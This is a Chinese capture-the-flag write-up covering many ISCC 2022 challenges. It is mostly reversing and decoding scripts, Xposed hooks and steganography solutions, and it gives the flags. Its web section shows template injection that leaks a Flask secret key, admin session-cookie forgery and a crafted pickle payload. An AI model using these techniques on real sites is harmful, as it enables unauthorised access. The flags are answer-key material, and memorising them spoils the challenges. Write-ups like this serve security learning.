ISCC{CWZKGFEZ-NYAHPGDP-SCAKRVFG}
VigenereLike
拿ida打开，好多C++ STL的东西，改下变量名，方便辨认一点。
大概就是id通过sub_4A5A变成v25，v25通过sub_4CE4变成v24，v24和v20比较来校验id。
但是这俩变换函数看了下，一堆+32、+80的，然后ida的类型检测还不对，搞不明白在干啥，那就先看下面加密flag主体的。
感觉像是在做substr(flag, '{', '}')这种操作，又或者是判断格式？
算了倒着看吧，最后是sub_29C9出的结果v24和一个base64串比较，进去看发现俩函数调用，第一个sub_27C6函数处理上面传来的flag，存成v5，然后调用sub_2569加密。
看sub_27C6，有6有8有abcdefg...的64字节串，那不就是base64嘛。
那就去看sub_2569，先是调用sub_2447去用flag和ISCCYES生成v21。
结合题目名字很容易看出来是在用ISCCYES来重复填充生成长度和flag一样的维吉尼亚密钥。
然后下面遍历flag，每个字符符合字母数字空格的都用sub_23D9搞个数，然后相同位置的密钥那边也用sub_23D9搞个数，加起来当下标在unk_10280里取值，下标越界就模一下。不是字母数字空格的直接抄回去。
那就再看看sub_23D9函数，实际上就是在unk_10280里面找目标字符的下标。
那么这时候就得找unk_10280啥时候被初始化了，因为这个值默认是空的，xref一下，在sub_343C里面发现初始化为[a-zA-Z0-9 ]。
那就写代码，看看维吉尼亚加密前的base64串是啥。
result = bytearray(b"rJFsLqVyFKZek5gJCOWWA6MiprLmwlquH9mmCrv=")
key = b"ISCCYES"
base = b"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 "
for i in range(len(result)):
if base.find(result[i]) != -1:
result[i] = base[(base.index(result[i]) - base.index(key[i % len(key)]) + len(base) * 2) % len(base)]
print(result)
from base64 import b64decode
result = bytearray(b64decode(result))
print(result)解出来还是没有flag的形状，那就接着看上面的sub_2914函数。
主要就是在循环异或1234567。
那接着改代码。
result = bytearray(b"rJFsLqVyFKZek5gJCOWWA6MiprLmwlquH9mmCrv=")
key = b"ISCCYES"
base = b"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 "
for i in range(len(result)):
if base.find(result[i]) != -1:
result[i] = base[(base.index(result[i]) - base.index(key[i % len(key)]) + len(base) * 2) % len(base)]
print(result)
from base64 import b64decode
result = bytearray(b64decode(result))
print(result)
key = [1,2,3,4,5,6,7]
for i in range(len(result)):
result[i] ^= key[i % len(key)]
print(result)成功拿到感觉很像flag的东西，但是交上去不对。
突然想起来之前还有个id这玩意，回头看一下，似乎是在末尾加上了id，那就一个一个删，试过去就完事，在删除TIPO后拿到flag。
ISCC{Reverse-iEvslhmM-UeNBeDtT}
Bob's Code
ida打开，发现没啥混淆。
先去看sub_4116C7函数，看着很像base64那种3*8=4*6的分割。
去看了下off_436000常量，也确实是base64的标准码表。
所以基本上可以确定是这个函数是在base64编码了。
为了保险起见，用CFF把动态基址给关咯，然后x96调试走起来。
输入123456，内存中数据变成MTIzNDU2，成功确认是base64编码。
然后来看下一个函数sub_411389，看着也是base64，但是码表有处理过。
原始码表也不一样。
码表的变换肉眼可见的是交换一部分大小写，所以实际上码表是ABCDEfghijklmnopqrsTUVWXYZabcdeFGHIJKLMNOPQRStuvwxyz0123456789-_。
不过根据调试情况，最后编码出来的补位字符是.而不是=。
回头看代码发现端倪。
所以arg[3]!=0的时候补位是.。
再看sub_411023函数，就是一小段变换操作。
实际上归纳一下就是在a4处插入一个字符a3然后返回。
比如说第一次调用是在第0位插入.，第二次调用是在第22位插入.。
动态调试结果也确实证实如此：
不过第二次的时候咱们的测试用例不够长了，那咱就换个长一点的1234567890123456789012。
然后来看最后的sub_4116E0函数，实际上就是把[a-zA-Z]给a2。
那么这个调用就是+2。
调试证明确实如此。
所以直接cc里面走一波逆向步骤就完事。
ISCC{QHSAkN0O-OAwE36Di-jCPtufcs}
Mobile
MobileA[一血]
直接jadx打开。
可以明显看出来，主要就是Jformat函数以及里面套的Jlast函数，而根据Jformat里面的分割条件，应该是把形如ISCC{abcd..._qwer...}的flag分成两部分abcd..._由Jformat处理，qwer...由Jlast处理。
先看前半部分的处理代码，经典的AES/CBC/PKCS7Padding加密，key和iv都确定了，所以可以直接用内置的c解出m，题中c经过两次base64得到enRwWXBvbVVRbWxhWWlkK3Q5KzA1Zz09，key和iv也有一次base64，所以直接工具一把梭。
再看后半部分的判断代码。
md5之后进行了一次base64，然后来了一轮映射，所以把映射规律反过来然后解一下base64就能拿到md5，再去在线查一下就能拿到明文。
import base64
a = b"=Lr8ZoM=wQU3OtSxJNg6fR5N"
b = bytearray(bytes(24))
z = False
i = 0
for i2 in range(5, -1, -1):
if not z:
for i3 in range(3, -1, -1):
b[i3 * 6 + i2] = a[i]
i += 1
z = True
else:
for i4 in range(0, 4):
b[i4 * 6 + i2] = a[i]
i += 1
z = False
print(base64.b64decode(b.decode()).hex())
# 7fa3b767c460b54a2be4d49030b349c7经查明文是no。
所以flag拼接一下就行。
ISCC{o9i87yvg$%TYHJ_no}
MobileB[一血]
直接jadx打开。
可以看出主要的验证逻辑就是Jformat里面调用的C原生函数stringFromJNI，然后经过a.a函数处理就得到了5240524052012052013402402401230240523051230。
那就先看a.a的逻辑。
是一个看着有点复杂的运算函数，算出每个字母（因为有>90就-32的处理）的对应值后在末尾补0然后拼接。
因为懒得反向搞出运算函数了，所以直接上xp去hook把26个字母全跑一遍拿到映射关系就完事。
import com.highcapable.yukihookapi.YukiHookAPI
import com.highcapable.yukihookapi.annotation.xposed.InjectYukiHookWithXposed
import com.highcapable.yukihookapi.hook.factory.method
import com.highcapable.yukihookapi.hook.log.loggerI
import com.highcapable.yukihookapi.hook.xposed.proxy.YukiHookXposedInitProxy
@InjectYukiHookWithXposed
class Main : YukiHookXposedInitProxy {
override fun onHook() = YukiHookAPI.encase {
loadApp("com.example.mobileb") {
"$packageName.MainActivity".hook {
injectMember {
method {
name("onCreate")
}
afterHook {
findClass("$packageName.a").instance!!.method {
name("a")
}.get().run {
for (i in "a".."z") {
loggerI(tag = "WankkoRee", msg = "$i: " + call("$i") as String)
}
}
}
}
}
}
}
}
a: 50
b: 10
c: 510
d: 20
e: 520
f: 120
g: 5120
h: 30
i: 530
j: 130
k: 5130
l: 230
m: 5230
n: 1230
o: 51230
p: 40
q: 540
r: 140
s: 5140
t: 240
u: 5240
v: 1240
w: 51240
x: 340
y: 5340
z: 1340所以5240524052012052013402402401230240523051230对应的就是uuefezttntmo。
那么再去so层看看stringFromJNI函数的逻辑。
可以看出主要就是myjni函数，但是点进去直接懵了，300+行的代码，这还逆个鸡儿。
于是果断关掉ida，继续去hook找规律了，也尝试先遍历26字母，但是没输出东西，一度怀疑是hook出问题了调用不到C原生函数。
把遍历目标改成大写试试，成功出来数据。
发现也是个映射函数。保险起见再多举几个例子看看，万一不是一一映射是递推映射就尴尬了。
测试了下，真的是递推映射...AB的映射不是A映射+B映射。
不过也问题不大，确定了第一位就可以确定第二位，依此类推还是可以爆破的，写个hook脚本爆破。
import com.highcapable.yukihookapi.YukiHookAPI
import com.highcapable.yukihookapi.annotation.xposed.InjectYukiHookWithXposed
import com.highcapable.yukihookapi.hook.factory.method
import com.highcapable.yukihookapi.hook.log.loggerI
import com.highcapable.yukihookapi.hook.xposed.proxy.YukiHookXposedInitProxy
@InjectYukiHookWithXposed
class Main : YukiHookXposedInitProxy {
override fun onHook() = YukiHookAPI.encase {
loadApp("com.example.mobileb") {
"$packageName.MainActivity".hook {
injectMember {
method {
name("onCreate")
}
afterHook {
findClass("$packageName.a").instance!!.method {
name("a")
}.get().run {
for (i in "a".."z") {
loggerI(tag = "WankkoRee", msg = "$i: " + call("$i") as String)
}
}
//5240 u
//5240 u
//520 e
//120 f
//520 e
//1340 z
//240 t
//240 t
//1230 n
//240 t
//5230 m
//51230 o
method {
name("stringFromJNI")
}.get(instance).run {
val tgt = "UUEFEZTTNTMO"
var flag = ""
for (i in 0..11) {
for (j in "A".."Z") {
if (call("$flag$j") as String == tgt.substring(0, i+1)) {
flag += j
loggerI(tag = "WankkoRee", msg = flag)
break
}
}
}
}
//ISCC{FLAGISPURXVS}
}
}
}
}
}
}
成功拿下。
ISCC{FLAGISPURXVS}
MobileC
写这题的那段时间没什么空打比赛，结果放题了第二天抽空上去一看，这么简单才3个人解？第一个人还是放题了八个多小时才解的，那我岂不是痛失一血？
拿到题目一看，check的入口在a.a。
去a.a看下，逻辑也挺简单的，Myjni.GetKey生成key，固定的iv，flag当内容去AES/CBC/PKCS5Padding加密，然后结果base64一波再调用Myjni.GetStr，得到加密完成的flag。
那么实际上就是看Myjni.GetKey和Myjni.GetStr了，看类名都知道肯定是俩native函数了，过去一看，果不其然。
但是用ida打开so一看，代码逻辑挺复杂的，横向比对了下，四个架构里面armeabi-v7a的代码是最容易阅读的，但还是不想看，毕竟200+的行数摆在那。
于是又打算hook一波，先调用GetKey看看是不是固定的key，如果是根据某些情况变化的话那就麻烦了，虽然几乎不可能。
loadApp("com.example.mobilec") {
"$packageName.MainActivity".hook {
injectMember {
method {
name = "onCreate"
}
afterHook {
val Myjni = findClass("$packageName.MyJNI.Myjni").instance!!
val GetKey = Myjni.method {
name = "GetKey"
}.get()
val key = GetKey.call() as String
loggerI("WankkoRee", "key: $key")
}
}
}
}连续打开几次发现key都是一样的，那就放心了。
那就去生成iv，i@S&88CcC.base一下就是aUBTJjg4Q2NDLg==，然后写个加密的逻辑去随便编几个flag复现一下。
val iv = "aUBTJjg4Q2NDLg=="
val secretKeySpec = SecretKeySpec(key.toByteArray(), "AES")
val ivParameterSpec = IvParameterSpec(iv.toByteArray())
val cipher = Cipher.getInstance("AES/CBC/PKCS5Padding")
cipher.init(Cipher.ENCRYPT_MODE, secretKeySpec, ivParameterSpec)
"1784534567846876".also { flag ->
val base64 = Base64.encodeToString(cipher.doFinal(flag.toByteArray()), 2)
GetStr.call(base64, flag)
}
"2453763877893735".also { flag ->
val base64 = Base64.encodeToString(cipher.doFinal(flag.toByteArray()), 2)
GetStr.call(base64, flag)
}
"3954635787837853".also { flag ->
val base64 = Base64.encodeToString(cipher.doFinal(flag.toByteArray()), 2)
GetStr.call(base64, flag)
}
"4781254237865742".also { flag ->
val base64 = Base64.encodeToString(cipher.doFinal(flag.toByteArray()), 2)
GetStr.call(base64, flag)
}"$packageName.MyJNI.Myjni".hook {
injectMember {
method {
name = "GetStr"
}
afterHook {
loggerI("WankkoRee", "GetStr("${ args[0] }", "${ args[1] }") = $result")
}
}
}
这规律感觉显而易见了...以2453763877893735作为flag为例，这不就是栅栏编码吗？
然后再对比下其他几个数据，明文flag大概率是用来当下标顺序用的，具体算法不想了解了，因为已经看出来能爆破了。
再去看一下目标密文Mj39Ctj=Zh7VceP=Tx1S+kzUDCiwkhx=MFDprlM=J88V+e8=的分组情况：
那么第三组的Tx1S+kzU肯定在明文base里是第一组没跑了，毕竟6组里面就它的结尾不是=，而base64里=只能在结尾。
那就还剩下5轮的直接爆破呗。
val result = "Mj39Ctj=Zh7VceP=Tx1S+kzUDCiwkhx=MFDprlM=J88V+e8="
val a1 = 2
for (a2 in 0..5) {
if (a2 == a1) continue
for (a3 in 0..5) {
if (a3 == a1 || a3 == a2) continue
for (a4 in 0..5) {
if (a4 == a1 || a4 == a2 || a4 == a3) continue
for (a5 in 0..5) {
if (a5 == a1 || a5 == a2 || a5 == a3 || a5 == a4) continue
for (a6 in 0..5) {
if (a6 == a1 || a6 == a2 || a6 == a3 || a6 == a4 || a6 == a5) continue
var flag = ""
for (i in 0..7)
flag += "${ result[8*a1+i] }${ result[8*a2+i] }${ result[8*a3+i] }${ result[8*a4+i] }${ result[8*a5+i] }${ result[8*a6+i] }"
flag = flag.substringBeforeLast("====")
loggerI("WankkoRee", "r: $a1$a2$a3$a4$a5$a6, base64: $flag")
val flagB = Base64.decode(flag, 2)
try {
val cipher = Cipher.getInstance("AES/CBC/PKCS5Padding")
cipher.init(Cipher.DECRYPT_MODE, secretKeySpec, ivParameterSpec)
val f = cipher.doFinal(flagB)
loggerI("WankkoRee", "flag: ${String(f)}")
} catch (_: Exception) {}
}}}}}成功拿下。
ISCC{native_351264_67554656788sada}
擂台题
Misc
666
拿到附件，半个压缩包带密码，猜测是为密码，直接密码标志位改00解压。
得到另一个带密码的压缩包和一张图片。
图片是jpg的，看了下文件没啥异常，所以猜测是常见的隐写里的steghide，默认密码123456走一波，确实出来了个high.png文件。
./steghide extract -sf ./src_sec.jpg -p 123456
打开日常报错。
随便改改高度，发现!@#$%678()_+，应该是压缩包密码，解压得到一个流量包。
流量包粗略看了下有几条是http的，里面有一条url和flag字样，猜测是要去这个url指向的页面找。
打开发现页面主体部分的gif有一闪而过的字。
保存下来逐帧看看，找到SE1ERWtleTo4NTIgOTg3NDU2MzIxIDk4NDIzIDk4NDIzIFJFQUxrZXk6eFN4eA==、pQLKpP/、EPmw301eZRzuYvQ==。
第一段解base64得到HMDEkey:852 987456321 98423 98423 REALkey:xSxx，感觉像是小键盘连线，试了一下确实是，连出来ISCC。
后两段用ISCC当key去解AES/ECB加密，得到flag。
ISCC{lbwmeiyoukaig}
扫！
这题解压之后发现给了几万个文件夹，每个文件夹里大概有1~3个文件，猜测应该是1个文件夹对应1个字节，那么1个字节能用1~3个符号表示的话，感觉很像八进制，而二维码的mask机制正好有8种，那就冲呗。
因为没找到能直接提取二维码所用的mask类型，所以直接去QRazyBox在线生成8个情况然后用cv2去匹配得了。
先随便选一张二维码，把矢量放大一下，不然QRazyBox导入的时候解析不了。
导入后选择了右上角的mask区，因为待会写代码方便一点。发现二维码用的容错等级是L，掩码类型是1。
后续又导了几张发现容错等级一直是L，而掩码类型一直在变，所以直接生成8个掩码类型的色块数据，然后写代码匹配就完事。
import os
import cv2
data = bytearray(31091)
for i in os.listdir("./challs"):
datas = ""
for j in os.listdir(f"./challs/{i}"):
name = f"./challs/{i}/{j}"
image = cv2.imread(name)
image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
top_right = [x // 255 for x in image[8][17:25]]
if top_right == [0, 0, 1, 1, 1, 0, 1, 1]:
mask = 0
elif top_right == [0, 0, 0, 0, 1, 1, 0, 0]:
mask = 1
elif top_right == [0, 1, 0, 1, 0, 1, 0, 1]:
mask = 2
elif top_right == [0, 1, 1, 0, 0, 0, 1, 0]:
mask = 3
elif top_right == [1, 1, 0, 1, 0, 0, 0, 0]:
mask = 4
elif top_right == [1, 1, 1, 0, 0, 1, 1, 1]:
mask = 5
elif top_right == [1, 0, 1, 1, 1, 1, 1, 0]:
mask = 6
elif top_right == [1, 0, 0, 0, 1, 0, 0, 1]:
mask = 7
else:
mask = None
print(top_right)
datas += str(mask)
print(i, datas)
data[int(i)] = int(datas, 8)
print(data)发现数据应该是rar压缩包。
写文件成功得到压缩包，里面个带密码的图片。
用WinRAR直接空密码解压即可得到图片。
文件尾发现提示。
其中IN的大写联想到一个小众隐写工具ImageIN，拖进去发现真就是这玩意的隐写...
flag{S0_Many_qR}
弱雪
这题刚开始打算挨个文件解base64，但是试了一下没啥结果，全是乱码。然后偶然排了下序发现文件的修改时间缺失了1秒左右，然后这一秒前后的文件数量又勉强还算对半，所以猜测可能是按时间去二进制，于是写代码。
import os
data = bytearray(1936)
for i in os.listdir("./Misc-2022.05.05"):
t = os.path.getmtime(f"./Misc-2022.05.05/{i}")
if t < 1651438000:
data[int(i[:-4])] = 0x30
else:
data[int(i[:-4])] = 0x31
print(bytes.fromhex(hex(int(data.decode(), 2))[2:]))成功得到一个应该是7z压缩包的数据。
尝试写文件成功拿到压缩包，里面是个文本。
打开发现一堆空白字符，结合题目名字弱雪猜测应该是密码为弱口令的snow隐写。
随便搁本地找个字典开始爆破。
import os
with open("D:/CTF/tools/web/最新网站后台密码破解字典.txt", 'r') as f:
for passwd in f:
try:
with os.popen(f'D:/CTF/tools/misc/snow -C -p "{passwd.strip()}" "D:/CTF/iscc2022/vs/MISC/弱雪/snow.txt"') as cmd:
rst = cmd.read()
if rst.find("ISCC") >= 0 or rst.find("iscc") >= 0 or rst.find("flag") >= 0:
print(rst)
except Exception as e:
...
flag{P6pbgN53q7l5D/ffTY2jH3uJVTQ7}
真扫yoo
拿到附件发现一堆条形码。
其中有个叫start.png的，其解码后的数据指向了另一个文件名，不过末尾多了一字节，然后这个文件解码后的数据又指向了另一个文件名，但这回长度刚刚好。
那就写脚本按照指向扫一遍看看有啥规律。
import os
import cv2
import pyzbar.pyzbar as pyzbar
name = "start"
i = 1
while os.path.exists(f"chall/{name}.png"):
image = cv2.imread(f"chall/{name}.png")
gray = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
texts = pyzbar.decode(gray)
assert len(texts) == 1
name = texts[0].data.decode("utf-8")
print(i, name)
if len(name) == 8:
name = name[:-1]
elif len(name) == 7:
...
else:
raise Exception()
i += 1
看着有点规律，似乎文件名全带0和1，然后文件名长短要么7字节要么8字节，那就俩都提取看看呗。
import os
import numpy as np
import cv2
import pyzbar.pyzbar as pyzbar
data1 = ""
data2 = ""
name = "start"
i = 1
while os.path.exists(f"chall/{name}.png"):
image = cv2.imread(f"chall/{name}.png")
gray = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
texts = pyzbar.decode(gray)
assert len(texts) == 1
name = texts[0].data.decode("utf-8")
print(i, name)
if name.find("1") != -1:
data2 += "1"
print(i, 1)
elif name.find("0") != -1:
data2 += "0"
print(i, 0)
if len(name) == 8:
name = name[:-1]
data1 += "1"
elif len(name) == 7:
data1 += "0"
else:
raise Exception()
i += 1
print(data1)
print(data2)
data1 = bytes.fromhex(hex(int(data1, 2))[2:])
print(data1)
data2 = bytes.fromhex("0"+hex(int(data2, 2))[2:])
print(data2)文件名长短出来的数据看不出东西，试试看调换一下01定义看看。文件名包含出来的好多连贯的0000...、1111...，感觉是画图，而且是前625的文件名都有包含那不就是25*25的图嘛。
调换一下01然后画一下另一组数据的黑白图看看。
import os
import numpy as np
import cv2
import pyzbar.pyzbar as pyzbar
data1 = ""
data2 = ""
name = "start"
i = 1
while os.path.exists(f"chall/{name}.png"):
image = cv2.imread(f"chall/{name}.png")
gray = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
texts = pyzbar.decode(gray)
assert len(texts) == 1
name = texts[0].data.decode("utf-8")
print(i, name)
if name.find("1") != -1:
data2 += "1"
print(i, 1)
elif name.find("0") != -1:
data2 += "0"
print(i, 0)
if len(name) == 8:
name = name[:-1]
data1 += "0"
elif len(name) == 7:
data1 += "1"
else:
raise Exception()
i += 1
print(data1)
print(data2)
data1 = bytes.fromhex(hex(int(data1, 2))[2:])
print(data1)
data2na = np.ones((25, 25), dtype="uint8")
for i in range(25):
for j in range(25):
data2na[i][j] = int(data2[i * 25 + j]) * 255
data2img = cv2.cvtColor(data2na, cv2.COLOR_GRAY2RGB)
cv2.imwrite("data2.png", data2img)出来一个rar一个二维码。
那就加一行保存rar的代码，然后扫二维码发现扫不了，好像是黑白写反了还是没加边框，反正都改改。
import os
import numpy as np
import cv2
import pyzbar.pyzbar as pyzbar
data1 = ""
data2 = ""
name = "start"
i = 1
while os.path.exists(f"chall/{name}.png"):
image = cv2.imread(f"chall/{name}.png")
gray = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
texts = pyzbar.decode(gray)
assert len(texts) == 1
name = texts[0].data.decode("utf-8")
print(i, name)
if name.find("1") != -1:
data2 += "1"
print(i, 1)
elif name.find("0") != -1:
data2 += "0"
print(i, 0)
if len(name) == 8:
name = name[:-1]
data1 += "0"
elif len(name) == 7:
data1 += "1"
else:
raise Exception()
i += 1
print(data1)
print(data2)
data1 = bytes.fromhex(hex(int(data1, 2))[2:])
print(data1)
with open("rar.rar", 'wb') as f:
f.write(data1)
data2na = np.full((35, 35), 255, dtype="uint8")
for i in range(25):
for j in range(25):
data2na[i+5][j+5] = (1 - int(data2[i * 25 + j])) * 255
data2img = cv2.cvtColor(data2na, cv2.COLOR_GRAY2RGB)
cv2.imwrite("data2.png", data2img)成功输出压缩包和二维码，二维码解码得到PaSsW0rdYouNeverkn0w，用来当压缩包密码成功解压出flag。
ISCC{c0de39&c0de128awa}
Web
Melody
随便输入账号密码登录，发现确实有登录状态，看了下有个session的cookie，后端是Flask，那很难不联想到session伪造。
看下session的存储数据，确实是默认的。
但是要伪造就得搞到密钥，那就模板注入呗。先找找有没有哪里能传参的，查看源码，发现/info链接。
打开提示需要限定Melody浏览器。
修改UA后发现提示去/info/?Melody=。
那就/info/?Melody={{config}}冲一波，成功拿到密钥meldoy-is-so-cute-wawawa!。
那现在就得想想该伪造成谁了，去登录一下发现用户名是admin的时候不让登录，那就伪造admin吧。
py -3 ./flask_session_cookie_manager3.py encode -s "meldoy-is-so-cute-wawawa!" -t "{'username':'admin'}"得到新的session：eyJ1c2VybmFtZSI6ImFkbWluIn0.YoundA.6dcwKzVcafUhOMJIeyjIFnLC8AQ。
拿去改cookie。
刷新发现假flag。
查看源码发现有个指向py文件的链接。
# -*- coding:utf-8 -*-
import pickle
import melody
import base64
from flask import Flask, Response,request
class register:
def __init__(self,name,password):
self.name = name
self.password = password
def __eq__(self, other):
return type(other) is register and self.name == other.name and self.password == other.password
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module[0:8] == '__main__':
return getattr(sys.modules['__main__'],name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def find(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
@app.route('/therealflag', methods=['GET','POST'])
def realflag():
if request.method == 'POST':
try:
data = request.form.get('melody')
if b'R' in base64.b64decode(data):
return 'no reduce'
else:
result = find(base64.b64decode(data))
if type(result) is not register:
return 'The type is not correct!'
correct = ((result == register(melody.name,melody.password))&(result == register("melody","hug")))
if correct:
if session['username'] == 'admin':
return Response(read('./flag.txt'))
else:
return Response("You're not admin!")
except Exception as e:
return Response(str(e))
test = register('admin', '123456')
data = base64.b64encode(pickle.dumps(test)).decode()
return Response(data)看了下有个therealflag路由，需要接受POST请求，然后传入base64形式的melody，内容是register("melody", "hug")类序列化结果。
那就写个脚本去序列化一下。
import base64
import pickle
class register:
def __init__(self,name,password):
self.name = name
self.password = password
def __eq__(self, other):
return type(other) is register and self.name == other.name and self.password == other.password
print(base64.b64encode(pickle.dumps(register("melody","hug"))))
得到gASVQgAAAAAAAACMCF9fbWFpbl9flIwIcmVnaXN0ZXKUk5QpgZR9lCiMBG5hbWWUjAZtZWxvZHmUjAhwYXNzd29yZJSMA2h1Z5R1Yi4=，去传参，得到flag。
ISCC{2022_melody_secrets}
Reverse
Encode
直接ida打开，发现主要就是用encode函数带上key加密，然后结果和answer比对。
所以去看encode函数就完事。
先是for了一次进行3行异或，然后又for了一次进行1行异或，最后for一次进行字节减，然后将key的几个值进行n=p*q、phi=(p-1)*(q-1)、d=invert(e, phi)、c=pow(m, e, n)的经典RSA加密。
那就直接写脚本解就完事。
answer = bytearray(b'\x23\x4a\x07\x2b\x1d\x06\x3f\x36\x36\x2b\x05\x07\x06\x39\x02\x06\x38\x21\x4b\x1a\x2d\x2d\x39\x02')
key = bytearray([7, 0xb, 0xd, 0, 0, 0, 0, 0])
n = 0x18
key[3] = key[1] * key[0] # 0x4d
key[4] = (key[1]-1) * (key[0]-1) # 0x3c
key[5] = 0x25 # invert(key[2], key[4])
for i in range(n):
answer[i] = pow(answer[i], key[5], key[3])
for i in range(n):
answer[i] += 70
for i in range(n):
answer[i] ^= 0x3f
for i in range(n//2):
answer[i] ^= answer[n - i - 1]
answer[n - i - 1] ^= answer[i]
answer[i] ^= answer[n - i - 1]
for i in range(n):
answer[i] ^= 0xf
print(answer)
ISCC{PWN_IS_REALLY_HARD}
easyre
ida打开，发现无法正常反编译，于是记一下函数入口点4011E0，转战ghidra。
大概看了下，就是用key加密flag三次然后和目标常量比对。（变量名美化了，不然ghidra没有关联高亮比较难顶）
先来看第一个加密函数，实际上就是那个循环有用，取三余作key的下标异或。
第二个函数也差不多，只不过key下标来点偏移，然后异或变成了字节加。
第三个也是key下标再加点偏移，然后运算方式又回到了异或。
所以写个脚本逆就完事。
answer = bytearray(b"^<L^<LX:LX.MJ.MJ9PJ9VF$VF$T@$T];")
key = b"enc!@#key"
for i in range(0x20):
answer[i] ^= key[i%3+6]
for i in range(0x20):
answer[i] -= key[i%3+3]
for i in range(0x20):
answer[i] ^= key[i%3]
print(answer.decode())得到flag。
ISCC{qwqqwqwqqwereerereeroiooioiooipp}
Self-Reverse
先是尝试性运行了下，发现程序给的自己的代码应该是忽悠人的。
ida打开看看，发现就几个函数，里面都是一堆运算操作，猜测应该是类似upx壳。
那就直接附加进程看看情况。先Ctrl+F7几次，从系统调用堆栈出来，到主程序代码块。
往下找到开始判定的代码，看着感觉是调用了个len函数？
输入ISCC{0123}看下rax寄存器会是啥。
确实是10，那这里就是判断输入长度要是0x16呗，那就重新编一个长度是0x16的输入ISCC{0123456789abcdef}继续调试，成功到达下一个判断点，看着应该是sub(0, 5)一下输入然后equals一下ISCC{，那反正咱的输入已经满足要求了，就继续看。
有点复杂，直接上面开头p一下然后F5看伪代码得了，确实是在判断开头结尾，满足条件后进入if(v35)。
开头先是把len(flag)存在v36里（-160偏移是flag），然后sub(5,v36-6)一下，取出中间部分，存到-320偏移里，接着一个用-36偏移当作i的for(i=0;i<=15;i++)循环，大概意思就是把(i + 1) % 16移到i ^ 13。然后一个用-40偏移当作i的for(i=0;i<=15;i++)循环，大概意思就是把[i]赋值为3 * [i] + 1。
写个python代码模拟一下逻辑看看，和调试结果比较一下。
flag = "0123456789abcdef"
a = bytearray(16)
for i in range(16):
a[i ^ 13] ^= ord(flag[(i + 1) % 16])
print(a)
for i in range(16):
a[i] = (3 * a[i] + 1) % 256
print(a.hex())
比对发现结果一样，那就接着看下面的逻辑，直接就开始判断加密结果了。
那就直接写逆向的代码呗，%256那个操作爆破就行，然后剩下的换位反向换一下就完事。
target = [250, 12, 229, 250, 145, 157, 100, 166, 108, 250, 247, 145, 12, 12, 99, 142]
flag = bytearray(16)
for i in range(16):
for j in range(128):
if (3 * j + 1) % 256 == target[i ^ 13]:
flag[(i + 1) % 16] = j
print(f"ISCC{{{flag.decode()}}}")
ISCC{LYY/vSy0R407!YSS}
Mobile
Mobile Analysis
直接jadx打开，check点肯定是judge没跑了。
大概就是先base64编码，然后[0:16]用b.a加密然后比对bGFtkaXNwjSVNDQ3，[16:32]和[32:]用b.b去校验。
先看b.a，实际上就是定长3分割，然后打散。
那么给密文分割一下就是bGF tka XNw j SVN DQ3，其中第4段是原来的第6段，也就是最后一段，所以长度不固定。
那么按原位排回去就是SVNDQ3tkaXNwbGFj，解base64得到ISCC{displac。
然后看b.b函数，数据流有点怪，大致就是a的值实际上就是c.a的结果，所以可以直接得到。然后a作为key，qws871bz73msl9x8作为iv，对b进行AES/CBC/PKCS5Padding加密，最后结果base64编码一下等于unj2Cn3dS9Ya1LDFPlA+eA==。
那先去看看c.a结果是啥。
算了还是直接hook一下看结果吧，不想还原算法了。
loadApp("com.example.mobileanalysis") {
"$packageName.MainActivity".hook {
injectMember {
method {
name("onCreate")
}
afterHook {
findClass("$packageName.c").instance!!.method {
name("a")
}.get().run {
loggerI(tag = "WankkoRee", msg = call() as String)
}
}
}
}
}
所以a是J0tpzHRuhTQpLauS。
那么带入去解b，得到otG28PYN8CtG。
那么最后就是把a和b还原成flag了，那就去看a.a和a.b。
大概意思就是找到每一字节在码表的位置p，然后映射成(5 * p + 8) % 64。
但是这个映射是不太好直接逆向的，因为5*p+8最大可能到323，都%64好几轮了，根据结果无法100%确定原始字符的位置p。
那就爆破呗，找到每个字节%64的时候商到底是几就完事。
dicta = "cdeEFGfghijkKLHIJNO9/PQYqrsMnoRSTablBCDtZ012UVWXpyzA345umvwx678="
a = "J0tpzHRuhTQpLauS"
for i in a:
n = 0
while (dicta.index(i) + 64 * n - 8) % 5 != 0:
n += 1
p = (dicta.index(i) + 64 * n - 8) // 5
print(dicta[p], end="")
print("")
dictb = "cdYqrsMneEFwxg78=GfKlLHRSTabBCDtZ012UhiQok6VWmXpjIJNO9/PyzA345uv"
b = "otG28PYN8CtG"
for i in b:
n = 0
while (dictb.index(i) + 64 * n - 8) % 5 != 0:
n += 1
p = (dictb.index(i) + 64 * n - 8) // 5
print(dictb[p], end="")
print("")
所以拼接得到flag后半段base64的结果ZV9hbHRlcm5hdGl2ZV9tb2JpbGV9，解得e_alternative_mobile}，与前半段拼接得到flag。
ISCC{displace_alternative_mobile}
Easy Mobile
这题jadx打开发现反编译结果不太理想，但是还是可以确定check点应该是tk.mcsog.iscc.a.a。
但进去发现直接反编译失败了。
所以选择换反编译引擎。
其中Procyon给出的结果如下：
//
// Decompiled by Procyon - 2815ms
//
package tk.mcsog.iscc;
import java.security.spec.AlgorithmParameterSpec;
import java.security.Key;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.security.NoSuchAlgorithmException;
import java.security.MessageDigest;
import java.util.Arrays;
import java.util.Base64;
import java.nio.charset.StandardCharsets;
import java.util.Objects;
public class a
{
public String a;
public w1.a b;
static {
System.loadLibrary("iscc");
}
public a() {
this.b = new w1.a();
}
private native boolean b(final String p0);
public final boolean a(String a) {
this.a = a;
final int length = a.length();
final boolean b = false;
if (length < 16) {
return false;
}
final w1.a b2 = this.b;
final String substring = a.substring(0, 16);
Objects.requireNonNull(b2);
final int length2 = substring.length();
int i = 3;
final int n = 1;
boolean b7 = false;
Label_0680: {
Label_0678: {
if (length2 == 16) {
final String substring2 = substring.substring(0, 4);
final String substring3 = substring.substring(4, 8);
final String substring4 = substring.substring(8, 12);
final String substring5 = substring.substring(12, 16);
final byte[] bytes = substring2.getBytes(StandardCharsets.UTF_8);
int j = 0;
while (true) {
Label_0214:
while (true) {
